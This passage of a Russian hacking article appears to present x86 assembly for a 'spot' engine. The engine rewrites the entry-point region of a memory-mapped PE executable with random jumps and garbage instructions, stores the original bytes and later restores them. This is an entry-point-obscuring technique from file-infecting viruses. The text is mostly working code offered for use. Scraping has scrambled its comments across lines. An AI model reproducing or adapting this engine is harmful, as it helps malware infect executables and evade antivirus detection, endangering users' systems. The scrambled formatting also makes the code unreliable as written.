;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
spots: 
;
Подпрограмма
генерации

;
пятен

mov ecx,1 ; Кладём в ecx
единицу

;
call reset ;
Подготавливаем
данные

call num_spots ;
Генерируем
случайное число

;
это будет кол-во пятен
tred: 
call save_bytes ;
Сохраняем
затираемы байты

call gen_spot ;
Генерируем
пятно

inc ecx ; Увеличиваем ecx на
единицу

cmp ecx,[ebp+n_spots] ;
Все пятна
сгенерированы

jne tred ;
Если нет, то
генерируем

call save_bytes ; Сохраняем
последние байты

call gen_final_spot ;
И
генерируем последнее

;
пятно
ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot: 
;
Подпрограмма
генерации 

;
одного пятна

push eax ecx ; Сохраняем eax и
ecx

call len_sp_jmp ; Получаем
случайную длину

xchg eax,ebx ;
прыжка пятна

call testing ; Проверяем,
чтобы пятно

jc quit2 ;
не выходило за
кодовую

;
секцию
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num1] ;
Генерируем
первую партию

call garbage ;
мусора
pop ebx

mov al,0e9h ; 
stosb ;
mov eax,0 ;
Генерируем jmp
add eax,ebx ;
add eax,ecx ;
stosd ;

push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num2] ;
Генерируем
вторую партию

call garbage ;
мусора
pop ebx

sub edi,[ebp+num2] ; 
add edi,[ebp+num1] ;

Корректируем edi

add edi,ebx ;
quit2:
pop ecx eax ;
Восстанавливаем
ecx и eax

ret ; Возврат из
подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot: 
;
Подпрограмма
генерации

;
финального пятна

push eax ecx ; Сохраняем eax и
ecx

jc not_big ; Если длина не
превышает

inc [ebp+n_spots] ;
размера
кодовой секции, то

not_big: ;
Увеличим кол-во
пятен

mov ecx,[ebp+num1] ;
Генерируем
мусорные

call garbage ;
инструкции

push edi ; Сохраняем edi
sub edi,[ebp+start_code] ;
Подготавливаем
длину jmp’a

mov ebx,edi ;
для последнего
пятна

pop edi ;
Восстанавливаем
edi

mov al,0e9h ;
stosb ;
mov eax,0 ;
sub eax,5 ;
Генерируем
финальное

sub eax,ebx ;
пятно
add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ;
stosd ;

mov ecx,[ebp+num2] ; Генерируем
вторую партию

call garbage ;
мусорных
инструкций

pop ecx eax ; Восстанавливаем
ecx и eax

ret ;
Возврат из
подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; ADDRESS OF SAVING BYTES -> EDI ;
; QUANTITY OF BYTES -> EBX ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
;
Подпрограмма
сохранения

;
заменяемых байт

pusha ; Сохраняем всё в
стэке

call length1 ;
Генерируем
длины мусорных

;
инструкций
mov ebx,[ebp+num1] ;
Помещаем в
ebx первую 

add ebx,[ebp+num2] ;
и вторую
длины

add ebx,5 ;
Добавляем к ebx — 5

mov esi,edi ; Сохраняем в
буфере с 

mov edi,[ebp+pointer] ;
начала
смещение в памяти

mov eax,esi ;
на сохраняемые
байты

stosd ;
mov ecx,ebx ;
После этого
сохраняем в

mov eax,ecx ;
буфере кол-во
сохраняемых

stosd ;
байт

rep movsb ;
И в самом конце
сохраняем

mov [ebp+pointer],edi ;
в буфере
сами байты

;
popa ;
Вынимаем всё из
стека

ret ;
Возврат из
подпрограммы

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
;
Подпрограмма 
;
восстановления
сохранённых

;
байт

cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ;
В esi
указазатель на буфер

mov edx,1 ;
В edx кладём — 1
not_enough:
mov edi,[ebp+old_eip] ;
В edi
загружаем точку

add edi,[ebp+image_base] ;
входа
mov ebx,edi ;
Сохраняем edi в
ebx

lodsd ;
В eax старое
смещение

;
байт в памяти
sub eax,[ebp+start_code] ;
Отнимаем
смещение начала

;
кода и добавляем 
add edi,eax ;
точку входа
lodsd ;
Загружаем в eax кол-во 
mov ecx,eax ; байт
и кладём их в ecx

rep movsb ;
Перемещаем
оригинальные

;
байты на старое место
inc edx ;
Переходим к
следующему 
cmp edx,[ebp+n_spots] ; пятну
jl not_enough ;
если не все
пятна вернули,

;
то восстанавливаем
дальше

quit: ; 
ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
;
Подпрограмма
генерации

;
длин мусорных
инструкций

mov eax,20 ;
call brandom32 ;
Генерируем
случайное число

test eax,eax ;
в диапазоне 1..19
jz length1 ;

mov [ebp+num1],eax ; Сохраняем
его в переменную

rand2:
mov eax,20 ;
call brandom32 ;
Генерируем
случайное число

test eax,eax ;
в диапазоне 1..19
jz rand2 ;

mov [ebp+num2],eax ; Сохраняем
его в вторую

;
переменную
ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
;
Подпрограмма
инициализации

;
переменных
mov edi,[ebp+start_code] ;

push esi ;
Инициализируем
переменные

lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ;
pop esi ;

ret ; Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
;
Подпрограмма
генерации

;
длины прыжка

mov eax,150 ;
call brandom32 ;
Генерируем
случайное число

cmp eax,45 ;
в диапазоне 45..149
jle len_sp_jmp ;

ret ; Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
;
Подпрограмма
генерации

;
количества пятен

pusha ; Сохраняем всё в
стеке

mov eax,40 ; Генерируем
случайное число

call brandom32 ;
в диапазоне
1..40

inc eax ;
И сохраняем его в
mov [ebp+n_spots],eax ;
переменной

popa ; Вынимаем всё из
стэка

ret ;
Возврат из
процедуры

;xxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ;
;—————————;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;—————————;
; [ OUT ] ;
; ;
; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
;
Подпрограмма
проверки

;
попадания в границу
секции

push edi eax ; Сохраняем edi eax
в стэке

add edi,[ebp+num1] ; Добавим к edi
1-ую длину

;
мусорных инструкций
add edi,[ebp+num2] ;
После этого
добавим 2-ую

add edi,300 ;
И добавим число
в которое

;
входит максимальный
размер

;
пятна + длина его
прыжка

mov eax,[ebp+size_for_spot] ;
В eax
загрузим размер 

;
места для пятен и
смещение

add eax,[ebp+start_code] ;
в памяти
точки входа

cmp edi,eax ; Сравним eax и edi
clc ;
Сбросим carry флаг
jl m_space ;
Если edi меньше,
то все

;
хорошо
mov [ebp+n_spots],ecx ;
Если нет,
то мы уменьшаем

inc [ebp+n_spots] ;
количество
пятен и 

stc ;
устанавливаем carry
флаг

m_space:
pop eax edi ;
Вынимаем eax и edi 
ret ;
Возврат из
процедуры

;—————————;
pointer dd 0 ;
n_spots dd 0 ;
;
num1 dd 0 ;
num2 dd 0 ;
;
Данные необходимые
для

PE_header dd 0 ;
работы мотора
old_eip dd 0 ;
image_base dd 0 ;
start_code dd 0 ;
new_eip dd 0 ;
map_address dd 0 ;
size_for_spot dd 0 ;
rest_bytes: db 2100 dup (?) ;
;—————————;

В качестве параметра данному мотору
передаётся адрес файла в памяти (MapViewOfFile).
Для восстановления оригинальных байт
используется подпрограмма restore. Данная
подпрограмма в качестве результата
возвращает адрес начала программы в
регистре ebx.

Рассмотрим примерную схему работы мотора:

Для чего может использоваться данный
модуль? Данный модуль можно с большой
эффективностью использовать при
моделировании навесных защит исполнимого
кода, помимо его прямого назначения.

Оставить мнение

Check Also

Господин Самоуничтожение. Как в домашних условиях смастерить Rubber Ducky со встроенной пиротехникой

Представь: ты втыкаешь в USB какую-то флешку, и вдруг в браузере открывается окно, где гру…